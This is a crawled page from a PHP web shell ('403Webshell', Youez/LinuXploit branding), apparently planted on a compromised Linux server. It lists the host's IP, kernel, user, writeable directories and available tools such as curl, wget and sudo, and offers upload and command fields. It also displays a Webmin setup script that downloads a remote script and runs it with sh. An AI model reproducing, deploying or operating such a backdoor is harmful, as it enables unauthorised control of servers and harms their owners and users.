403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/webmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin//setup-repos.sh
#!/bin/sh
# setup-repos.sh — suppressed by webmin-setup-repo.sh
# Sets up a production or testing repository for Webmin and Usermin packages
# on Debian-based and RPM-based systems

URL_BASE="https://raw.githubusercontent.com"
URL_PATH="/webmin/webmin/master/webmin-setup-repo.sh"
NEW_SCRIPT_URL="${URL_BASE}${URL_PATH}"

for downloader in "curl -fsSL" "wget -qO-"; do
	if command -v "${downloader%% *}" >/dev/null 2>&1; then
		tmp_script=$(mktemp)
		case $downloader in
			curl*) curl -fsSL "$NEW_SCRIPT_URL" > "$tmp_script" ;;
			wget*) wget -qO- "$NEW_SCRIPT_URL" > "$tmp_script" ;;
		esac
		sh "$tmp_script" "$@"
		rm -f "$tmp_script"
		exit 0
	fi
done

# If neither downloader works, show an error
echo "Error: Neither curl nor wget is installed." >&2
exit 1

Youez - 2016 - github.com/yon3zu
LinuXploit